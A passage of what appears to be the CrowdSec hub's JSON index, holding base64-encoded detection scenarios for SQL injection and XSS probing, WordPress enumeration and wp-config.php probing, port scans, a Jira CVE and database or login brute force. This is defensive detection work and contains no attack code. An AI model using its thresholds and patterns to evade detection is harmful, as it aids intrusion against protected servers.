"VGhlIGh0dHAgc3FsaSBwcm9iaW5nIHNjZW5hcmlvIGFpbXMgYXQgZGV0ZWN0aW5nLCB3aXRoIHZlcnkgbGl0dGxlIGZhbHNlIHBvc2l0aXZlIGNoYW5jZXMsIFNRTCBpbmplY3Rpb24gcHJvYmluZyBhdHRlbXB0cy4KClNRTCBpbmplY3Rpb24gcHJvYmluZyBhdHRlbXB0cyB3aWxsIGJlIGNoYXJhY3Rlcml6ZWQgYnkgdGhlIHByZXNlbmNlIG9mIHNwZWNpZmljIFNRTC1yZWxhdGVkIHBhdHRlcm5zIGluIHVyaS9HRVQgYXJndW1lbnRzIChpZiBhbmQgd2hlbiB0aGlzIGlzIHdoZXJlIHRoZSBpbmplY3RlZCBwYXJhbWV0ZXIgaXMpLCBhbmQgdGhpcyBpcyB3aGF0IHRoaXMgc2NlbmFyaW8gZGV0ZWN0cy4KCgpUaGUgW3dvcmQgbGlzdF0oaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL21hc3Rlci93ZWIvc3FsaV9wcm9iZV9wYXR0ZXJucy50eHQpIGlzIHBpY2tlZCBzcGVjaWZpY2FsbHkgdG8gbGltaXQgZmFsc2UgcG9zaXRpdmVzLgpGdXJ0aGVybW9yZSwgYSBgZGlzdGluY3RgIGRpcmVjdGl2ZSBpcyBwcmVzZW50IG9uIHRoZSBnZXQgcGFyYW1ldGVycyB0aGVtc2VsdmVzIHRvIHJlZHVjZSBmYWxzZSBwb3NpdGl2ZSBjaGFuY2VzLgoKWW91IGNhbiB0ZXN0IHRoZSBiZWhhdmlvciBvZiB0aGUgc2NlbmFyaW8gYnkgbGF1bmNoaW5nIHRoZSBleGNlbGxlbnQgW3NxbG1hcF0oaHR0cHM6Ly9zcWxtYXAub3JnKSBvbiBvbmUgb2YgeW91ciBwYWdlcy4KCioqV0FSTklORyoqIFRoaXMgc2NlbmFyaW8gaXMgX25vdF8gYSBXQUYsIGFuZCB0aGlzIHNjZW5hcmlvIGRvZXMgX25vdF8gYWltcyBhdCByZXBsYWNpbmcgYSBXQUYuIEEgbW90aXZhdGVkIGF0dGFja2VyIHdpdGgga25vd2xlZGdlIG9mIGNyb3dkc2VjIHdpbGwgYmUgYWJsZSB0byBieXBhc3MgaXQuIEl0IGlzIG1vc3RseSBtZWFudCB0byBiZSBhIHdheSB0byBkZXRlY3QgZ2VuZXJpYyBTUUwgaW5qZWN0aW9uIHByb2Jpbmcgc3VjaCBhcyBwZXJmb3JtZWQgYnkgb3Blbi1zb3VyY2Ugb3IgY29tbWVyY2lhbCBzY2FubmVycy4KCg==", "content": "dHlwZTogbGVha3kKI3JlcXVpcmVzIGF0IGxlYXN0IDIuMCBiZWNhdXNlIGl0J3MgdXNpbmcgdGhlICdkYXRhJyBzZWN0aW9uIGFuZCB0aGUgJ1VwcGVyJyBleHByIGhlbHBlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L2h0dHAtc3FsaS1wcm9iYmluZy1kZXRlY3Rpb24KZGF0YToKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy9tYXN0ZXIvd2ViL3NxbGlfcHJvYmVfcGF0dGVybnMudHh0CiAgICBkZXN0X2ZpbGU6IHNxbGlfcHJvYmVfcGF0dGVybnMudHh0CiAgICB0eXBlOiBzdHJpbmcKZGVzY3JpcHRpb246ICJBIHNjZW5hcmlvIHRoYXQgZGV0ZWN0cyBTUUwgaW5qZWN0aW9uIHByb2Jpbmcgd2l0aCBtaW5pbWFsIGZhbHNlIHBvc2l0aXZlcyIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWydodHRwX2FjY2Vzcy1sb2cnLCAnaHR0cF9lcnJvci1sb2cnXSAmJiBhbnkoRmlsZSgnc3FsaV9wcm9iZV9wYXR0ZXJucy50eHQnKSwge1VwcGVyKGV2dC5QYXJzZWQuaHR0cF9hcmdzKSBjb250YWlucyBVcHBlcigjKX0pIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKY2FwYWNpdHk6IDEwCmxlYWtzcGVlZDogMXMKYmxhY2tob2xlOiA1bQojbG93IGZhbHNlIHBvc2l0aXZlcyBhcHByb2FjaCA6IHdlIHJlcXVpcmUgZGlzdGluY3QgcGF5bG9hZHMgdG8gYXZvaWQgZmFsc2UgcG9zaXRpdmVzCmRpc3RpbmN0OiBldnQuUGFyc2VkLmh0dHBfYXJncwpsYWJlbHM6CiAgc2VydmljZTogaHR0cAogIHR5cGU6IHNxbGlfcHJvYmluZwogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "A scenario that detects SQL injection probing with minimal false positives", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "sqli_probing" } }, "crowdsecurity/http-wordpress_user-enum": { "path": "scenarios/crowdsecurity/http-wordpress_user-enum.yaml", "version": "0.1", "versions": { "0.1": { "digest": "b3d23b71ecb4434773e907675a1c117a97acaeeb18a9d57062bded417f18b646", "deprecated": false } }, "long_description": "RGV0ZWN0cyBwcm9iaW5nIHRvIGVudW1lcmF0ZSB3b3JkcHJlc3MgYXV0aG9ycyA6IGAvP2F1dGhvcj1YWGAKCmxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUKCg==", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLXdvcmRwcmVzc191c2VyLWVudW0KZGVzY3JpcHRpb246ICJkZXRlY3Qgd29yZHByZXNzIHByb2JpbmcgOiBhdXRob3JzIGVudW1lcmF0aW9uIgpkZWJ1ZzogZmFsc2UKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2h0dHBfYWNjZXNzLWxvZycgJiYgVXBwZXIoZXZ0LlBhcnNlZC5odHRwX2FyZ3MpIGNvbnRhaW5zICdBVVRIT1I9JyIKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmRpc3RpbmN0OiBldnQuUGFyc2VkLmh0dHBfYXJncwpjYXBhY2l0eTogNQpsZWFrc3BlZWQ6ICIxMHMiCmJsYWNraG9sZTogNW0KbGFiZWxzOgogc2VydmljZTogaHR0cAogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "detect wordpress probing : authors enumeration", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "bruteforce" } }, "crowdsecurity/http-wordpress_wpconfig": { "path": "scenarios/crowdsecurity/http-wordpress_wpconfig.yaml", "version": "0.1", "versions": { "0.1": { "digest": "ff3876c1f9828052ba633264920100aa49402ab3e41a9cb73d28853d248a6d98", "deprecated": false } }, "long_description": "RGV0ZWN0cyBwcm9iaW5nIHRvIGZpbmQgYWx0ZXJuYXRlIHdwLWNvbmZpZyBmaWxlLCBzdWNoIGFzIGRvbmUgYnkgd3BzY2FuLgoKbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNQoK", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLXdvcmRwcmVzc193cGNvbmZpZwpkZXNjcmlwdGlvbjogImRldGVjdCB3b3JkcHJlc3MgcHJvYmluZyA6IHZhcmlhdGlvbnMgYXJvdW5kIHdwLWNvbmZpZy5waHAgYnkgd3BzY2FuIgpkZWJ1ZzogZmFsc2UKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2h0dHBfYWNjZXNzLWxvZycgJiYgZXZ0LlBhcnNlZC5maWxlX25hbWUgY29udGFpbnMgJ3dwLWNvbmZpZy5waHAnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5QYXJzZWQuZmlsZV9uYW1lCmNhcGFjaXR5OiA1CmxlYWtzcGVlZDogIjEwcyIKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiBzZXJ2aWNlOiBodHRwCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "detect wordpress probing : variations around wp-config.php by wpscan", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "bruteforce" } }, "crowdsecurity/http-xss-probing": { "path": "scenarios/crowdsecurity/http-xss-probing.yaml", "version": "0.2", "versions": { "0.1": { "digest": "8d6f0d6f9dc48f8f5ad561a2cdb315e499539b3575f259e0d6cf5850ef1efc9e", "deprecated": false }, "0.2": { "digest": "1c4d58e1a29cf806a92f67c981532f8a4656312abd05697dcc69b59b757f0076", "deprecated": false } }, "long_description": "VGhlIGh0dHAgWFNTIHByb2Jpbmcgc2NlbmFyaW8gYWltcyBhdCBkZXRlY3RpbmcsIHdpdGggdmVyeSBsaXR0bGUgZmFsc2UgcG9zaXRpdmUgY2hhbmNlcywgWFNTIHByb2JpbmcgYXR0ZW1wdHMuCgpYU1MgcHJvYmluZyBhdHRlbXB0cyB3aWxsIGJlIGNoYXJhY3Rlcml6ZWQgYnkgdGhlIHByZXNlbmNlIG9mIHNwZWNpZmljIFhTUyByZWxhdGVkIHBhdHRlcm5zIGluIHVyaS9HRVQgYXJndW1lbnRzIChpZiBhbmQgd2hlbiB0aGlzIGlzIHdoZXJlIHRoZSBpbmplY3RlZCBwYXJhbWV0ZXIgaXMpLCBhbmQgdGhpcyBpcyB3aGF0IHRoaXMgc2NlbmFyaW8gZGV0ZWN0cy4KCgpUaGUgW3dvcmQgbGlzdF0oaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL21hc3Rlci93ZWIveHNzX3Byb2JlX3BhdHRlcm5zLnR4dCkgaXMgcGlja2VkIHNwZWNpZmljYWxseSB0byBsaW1pdCBmYWxzZSBwb3NpdGl2ZXMuCkZ1cnRoZXJtb3JlLCBhIGBkaXN0aW5jdGAgZGlyZWN0aXZlIGlzIHByZXNlbnQgb24gdGhlIGdldCBwYXJhbWV0ZXJzIHRoZW1zZWx2ZXMgdG8gcmVkdWNlIGZhbHNlIHBvc2l0aXZlIGNoYW5jZXMuCgoKKipXQVJOSU5HKiogVGhpcyBzY2VuYXJpbyBpcyBfbm90XyBhIFdBRiwgYW5kIHRoaXMgc2NlbmFyaW8gZG9lcyBfbm90XyBhaW1zIGF0IHJlcGxhY2luZyBhIFdBRi4gQSBtb3RpdmF0ZWQgYXR0YWNrZXIgd2l0aCBrbm93bGVkZ2Ugb2YgY3Jvd2RzZWMgd2lsbCBiZSBhYmxlIHRvIGJ5cGFzcyBpdC4gSXQgaXMgbW9zdGx5IG1lYW50IHRvIGJlIGEgd2F5IHRvIGRldGVjdCBnZW5lcmljIFhTUyBwcm9iaW5nLgo=", "content": "dHlwZTogbGVha3kKI3JlcXVpcmVzIGF0IGxlYXN0IDIuMCBiZWNhdXNlIGl0J3MgdXNpbmcgdGhlICdkYXRhJyBzZWN0aW9uIGFuZCB0aGUgJ1VwcGVyJyBleHByIGhlbHBlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L2h0dHAteHNzLXByb2JiaW5nCmRhdGE6CiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvbWFzdGVyL3dlYi94c3NfcHJvYmVfcGF0dGVybnMudHh0CiAgICBkZXN0X2ZpbGU6IHhzc19wcm9iZV9wYXR0ZXJucy50eHQKICAgIHR5cGU6IHN0cmluZwpkZXNjcmlwdGlvbjogIkEgc2NlbmFyaW8gdGhhdCBkZXRlY3RzIFhTUyBwcm9iaW5nIHdpdGggbWluaW1hbCBmYWxzZSBwb3NpdGl2ZXMiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlIGluIFsnaHR0cF9hY2Nlc3MtbG9nJywgJ2h0dHBfZXJyb3ItbG9nJ10gJiYgYW55KEZpbGUoJ3hzc19wcm9iZV9wYXR0ZXJucy50eHQnKSwge1VwcGVyKGV2dC5QYXJzZWQuaHR0cF9hcmdzKSBjb250YWlucyBVcHBlcigjKX0pIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKY2FwYWNpdHk6IDUKbGVha3NwZWVkOiAxcwpibGFja2hvbGU6IDVtCiNsb3cgZmFsc2UgcG9zaXRpdmVzIGFwcHJvYWNoIDogd2UgcmVxdWlyZSBkaXN0aW5jdCBwYXlsb2FkcyB0byBhdm9pZCBmYWxzZSBwb3NpdGl2ZXMKZGlzdGluY3Q6IGV2dC5QYXJzZWQuaHR0cF9hcmdzCmxhYmVsczoKICBzZXJ2aWNlOiBodHRwCiAgdHlwZTogeHNzX3Byb2JpbmcKICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "A scenario that detects XSS probing with minimal false positives", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "xss_probing" } }, "crowdsecurity/iptables-scan-multi_ports": { "path": "scenarios/crowdsecurity/iptables-scan-multi_ports.yaml", "version": "0.1", "versions": { "0.1": { "digest": "85bd908ec6efae802035e4553f5dd41e4d5b6b53b2f237dd256533965bd44cd7", "deprecated": false } }, "long_description": "RGV0ZWN0cyBhIHBvcnQgc2NhbiA6IGRldGVjdHMgaWYgYSBzaW5nbGUgSVAgYXR0ZW1wdHMgY29ubmVjdGlvbiB0byBtYW55IGRpZmZlcmVudCBwb3J0cy4KCkxlYWtzcGVlZCBvZiA1cywgY2FwYWNpdHkgb2YgMTUuCg==", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9pcHRhYmxlcy1zY2FuLW11bHRpX3BvcnRzCmRlc2NyaXB0aW9uOiAiYmFuIElQcyB0aGF0IGFyZSBzY2FubmluZyB1cyIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2lwdGFibGVzX2Ryb3AnICYmIGV2dC5NZXRhLnNlcnZpY2UgPT0gJ3RjcCciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0LlBhcnNlZC5kc3RfcG9ydApjYXBhY2l0eTogMTUKbGVha3NwZWVkOiA1cwpibGFja2hvbGU6IDFtCmxhYmVsczoKICBzZXJ2aWNlOiB0Y3AKICB0eXBlOiBzY2FuCiAgcmVtZWRpYXRpb246IHRydWUKCg==", "description": "ban IPs that are scanning us", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "tcp", "type": "scan" } }, "crowdsecurity/jira_cve-2021-26086": { "path": "scenarios/crowdsecurity/jira_cve-2021-26086.yaml", "version": "0.1", "versions": { "0.1": { "digest": "1c3631aaa5818cb3af51e6ca6d4fe270eeb362d1ea0dd3fa19c735f3671253d5", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMAojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9qaXJhX2N2ZS0yMDIxLTI2MDg2CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IEF0bGFzc2lhbiBKaXJhIENWRS0yMDIxLTI2MDg2IGV4cGxvaXRhdGlvbiBhdHRlbXBzIgpmaWx0ZXI6IHwKICBldnQuTWV0YS5sb2dfdHlwZSBpbiBbImh0dHBfYWNjZXNzLWxvZyIsICJodHRwX2Vycm9yLWxvZyJdIGFuZCBhbnkoRmlsZSgiamlyYV9jdmVfMjAyMS0yNjA4Ni50eHQiKSwge1VwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgY29udGFpbnMgVXBwZXIoIyl9KQpkYXRhOgogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL21hc3Rlci93ZWIvamlyYV9jdmVfMjAyMS0yNjA4Ni50eHQKICAgIGRlc3RfZmlsZTogamlyYV9jdmVfMjAyMS0yNjA4Ni50eHQKICAgIHR5cGU6IHN0cmluZwpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpibGFja2hvbGU6IDJtCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect Atlassian Jira CVE-2021-26086 exploitation attemps", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/kasm-bruteforce": { "path": "scenarios/crowdsecurity/kasm-bruteforce.yaml", "version": "0.1", "versions": { "0.1": { "digest": "5f4464d3102dc48cb57695252d7352ab305c6f5fd50aa1e275de28030315fa63", "deprecated": false } }, "long_description": "RGV0ZWN0IEtBU00gbG9naW4gYnJ1dGVmb3JjZSA1IGF0dGVtcHRzIHdpdGggbGVha3NwZWVkIG9mIDEwIHNlY29uZHM=", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9rYXNtLWJydXRlZm9yY2UKZGVzY3JpcHRpb246ICJEZXRlY3Qga2FzbSBsb2dpbiBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5tZXRyaWNfbmFtZSBpbiBbJ2FjY291bnQubG9naW4uZmFpbGVkX2ludmFsaWRfdXNlcicsICdhY2NvdW50LmxvZ2luLmZhaWxlZF9pbnZhbGlkX3Bhc3N3b3JkJ10iCmxlYWtzcGVlZDogIjEwcyIKY2FwYWNpdHk6IDMKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKIHNlcnZpY2U6IGthc20KIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVl", "description": "Detect kasm login bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "kasm", "type": "bruteforce" } }, "crowdsecurity/litespeed-admin-bf": { "path": "scenarios/crowdsecurity/litespeed-admin-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "cf7a11ef6d75de569bdd3e0d62a805a7793102e57911a1a6256327da64aed692", "deprecated": false } }, "long_description": "QWxlcnQgd2hlbiBhIHNpbmdsZSBJUCB0aGF0IHRyeSB0byBicnV0ZWZvcmNlIGxpdGVzcGVlZCBhZG1pbiBVSS4KCkxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUuCg==", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9saXRlc3BlZWQtYWRtaW4tYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgYnJ1dGVmb3JjZSBhZ2FpbnN0IGxpdGVzcGVlZCBhZG1pbiBVSSIKZmlsdGVyOiAiZXZ0Lk1ldGEuc2VydmljZSA9PSAnaHR0cCcgJiYgZXZ0Lk1ldGEuc3ViX3R5cGUgPT0gJ2xpdGVzcGVlZF9hZG1pbl9hdXRoX2ZhaWwnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKY2FwYWNpdHk6IDUKbGVha3NwZWVkOiAiMTBzIgpibGFja2hvbGU6IDFtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IGJmCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect bruteforce against litespeed admin UI", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "bf" } }, "crowdsecurity/mariadb-bf": { "path": "scenarios/crowdsecurity/mariadb-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "c6daa770b5ac5f153e6b5bc0c2eb8e50f90373e1802bea40724ebe6037a15ab4", "deprecated": false } }, "long_description": "RGV0ZWN0IHNldmVyYWwgZmFpbGVkIG1hcmlhZGIgYXV0aGVudGljYXRpb25zLgoKbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNQo=", "content": "IyBtYXJpYWRiIGJydXRlZm9yY2UKdHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvbWFyaWFkYi1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBtYXJpYWRiIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ21hcmlhZGJfZmFpbGVkX2F1dGgnCmxlYWtzcGVlZDogIjEwcyIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogNW0KbGFiZWxzOgogc2VydmljZTogbWFyaWFkYgogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect mariadb bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "mariadb", "type": "bruteforce" } }, "crowdsecurity/modsecurity": { "path": "scenarios/crowdsecurity/modsecurity.yaml", "version": "0.4", "versions": { "0.1": { "digest": "447c63986f53a743d08fc16677d7f5427ed4b7efca6a0d73c47991d83582e0d0", "deprecated": false }, "0.2": { "digest": "45c2a35d4ee071e66197aa2381b0c066a18d17fe6b8aee7b0e83efb21512cdbc", "deprecated": false }, "0.3": { "digest": "91e21cd506aa43e1895be93fa3e93dbad64403edafe9ae1e87f2519689ec3f66", "deprecated": false }, "0.4": { "digest": "2e2f2591a614514acf033702c5588335136050925f88f36fb9da0bc129f30039", "deprecated": false } }, "long_description": "VGFrZSBhIHJlbWVkaWF0aW9uIGFnYWluc3QgYW4gSVAgdGhhdCB0cmlnZ2VyIGEgbW9kc2VjdXJpdHkgcnVsZSB3aXRoIGEgYENSSVRJQ0FMYCBzZXZlcml0eS4K", "content": "dHlwZTogdHJpZ2dlcgojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9tb2RzZWN1cml0eQpkZXNjcmlwdGlvbjogIldlYiBleHBsb2l0YXRpb24gdmlhIG1vZHNlY3VyaXR5IgojbW9kc2VjIGZvciBuZ2lueCBvbmx5IGxvZ3MgdGhlIG51bWVyaWNhbCB2YWx1ZSBvZiB0aGUgc2V2ZXJpdHkKZmlsdGVyOiBldnQuTWV0YS5sb2dfdHlwZSA9PSAnbW9kc2VjdXJpdHknICYmIChldnQuUGFyc2VkLnJ1bGVzZXZlcml0eSA9PSAnQ1JJVElDQUwnIHx8IGV2dC5QYXJzZWQucnVsZXNldmVyaXR5ID09ICcyJykKYmxhY2tob2xlOiAybQpsYWJlbHM6CiAgdHlwZTogd2ViX2F0dGFjawogIHNlcnZpY2U6IGh0dHAKICByZW1lZGlhdGlvbjogdHJ1ZQogIHNjb3BlOiBpcAo=", "description": "Web exploitation via modsecurity", "author": "crowdsecurity", "labels": { "remediation": "true", "scope": "ip", "service": "http", "type": "web_attack" } }, "crowdsecurity/mssql-bf": { "path": "scenarios/crowdsecurity/mssql-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "be8f99681f224e5176015815d11bf01b0e0012ceb24bbb264786f503d9146d81", "deprecated": false } }, "content": "IyBteXNxbCBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L21zc3FsLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IG1zc3FsIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ21zc3FsX2ZhaWxlZF9hdXRoJwpsZWFrc3BlZWQ6ICIxMHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IG1zc3FsCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect mssql bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "mssql", "type": "bruteforce" } }, "crowdsecurity/mysql-bf": { "path": "scenarios/crowdsecurity/mysql-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "3783ff9de7b6d19697ee121314b20b21b8c765b279a9caacc70d3c75f4ebd455", "deprecated": false } }, "long_description": "RGV0ZWN0IHNldmVyYWwgZmFpbGVkIG15c3FsIGF1dGhlbnRpY2F0aW9ucy4KCmxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUK", "content": "IyBteXNxbCBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L215c3FsLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IG15c3FsIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ215c3FsX2ZhaWxlZF9hdXRoJwpsZWFrc3BlZWQ6ICIxMHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IG15c3FsCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect mysql bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "mysql", "type": "bruteforce" } }, "crowdsecurity/naxsi-exploit-vpatch": { "path": "scenarios/crowdsecurity/naxsi-exploit-vpatch.yaml", "version": "0.1", "versions": { "0.1": { "digest": "908ceeb2d7f5607a114a872847df34662e4c80ed07338a55f125a56985f0d095", "deprecated": false } }, "long_description": "RGV0ZWN0cyBuYXhzaSBibG9ja2VkIHJlcXVlc3RzIG9uIGN1c3RvbSAoPjk5OTkpIHJ1bGVzLgoKVHJpZ2dlcnMgb24gZmlyc3QgcmVxdWVzdC4K", "content": "IyBuYXhzaSB2cGF0Y2ggcnVsZXMgZGV0ZWN0aW9uCnR5cGU6IHRyaWdnZXIKbmFtZTogY3Jvd2RzZWN1cml0eS9uYXhzaS1leHBsb2l0LXZwYXRjaAojIGlkIGlzIGJpZ2dlciB0aGFuIDlrLCBjdXN0b20gcnVsZQpkZXNjcmlwdGlvbjogIkRldGVjdCBjdXN0b20gYmxhY2tsaXN0IHRyaWdnZXJlZCBpbiBuYXhzaSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3dhZl9uYXhzaS1sb2cnICYmIGxlbihldnQuUGFyc2VkLm5heHNpX2lkKSA+IDQiCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmJsYWNraG9sZTogNW0KbGFiZWxzOgogc2VydmljZTogaHR0cAogdHlwZTogc2NhbgogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect custom blacklist triggered in naxsi", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "scan" } }, "crowdsecurity/nextcloud-bf": { "path": "scenarios/crowdsecurity/nextcloud-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "4a6b24a95d286e48aec8eb59fa5fc17686a724be3c7860df538a7eafdb613f97", "deprecated": false }, "0.2": { "digest": "6ba276c92b2d1a9b43bff6afa09f09c1d1b7fccb9b87d649eedba803689914d8", "deprecated": false } }, "long_description": "RGV0ZWN0cyBicnV0ZWZvcmNlIG9uIFtOZXh0Y2xvdWRdKGh0dHBzOi8vbmV4dGNsb3VkLmNvbSkgaW5zdGFuY2UuCgogLSBsZWFrc3BlZWQgb2YgMW0sIGNhcGFjaXR5IG9mIDUgb24gc2FtZSB0YXJnZXQgdXNlcgogLSBsZWFrc3BlZWQgb2YgMW0sIGNhcGFjaXR5IG9mIDUgdW5pcXVlIGRpc3RpbmN0IHVzZXJzCiAtIGxlYWtzcGVlZCBvZiAxbSwgY2FwYWNpdHkgb2YgNSBvbiB0cnVzdCBkb21haW4gZXJyb3IK", "content": "LS0tCnR5cGU6IGxlYWt5Cm5hbWU6IGNyb3dkc2VjdXJpdHkvbmV4dGNsb3VkLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IE5leHRjbG91ZCBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ25leHRjbG91ZF9mYWlsZWRfYXV0aCcsICduZXh0Y2xvdWRfYnJ1dGVmb3JjZV9hdHRlbXB0J10iCmxlYWtzcGVlZDogIjFtIgpjYXBhY2l0eTogNQojIGlmIHdlIGhhdmUgYnJ1dGVmb3JjZSBwcm90ZWN0aW9uIGVuYWJsZWQgaW4gbmV4dGNsb3VkLCB0aGUgc2FtZSBsb2dpbiBhdHRlbXB0CiMgY2FuIGxvZyAjIGJvdGggbG9naW4gZmFpbHVyZSBhbmQgYnJ1dGVmb3JjZSBhdHRlbXB0IGF0IHRoZSBzYW1lIHRpbWUsIHNvCiMga2VlcCB0aGVtIGluIHNlcGVyYXRlIGJ1Y2tldHMKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwICsgJy0tJyArIGV2dC5NZXRhLmxvZ190eXBlCmJsYWNraG9sZTogNW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiBuZXh0Y2xvdWQKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKLS0tCnR5cGU6IGxlYWt5Cm5hbWU6IGNyb3dkc2VjdXJpdHkvbmV4dGNsb3VkLWJmX3VzZXJfZW51bQpkZXNjcmlwdGlvbjogIkRldGVjdCBOZXh0Y2xvdWQgdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eX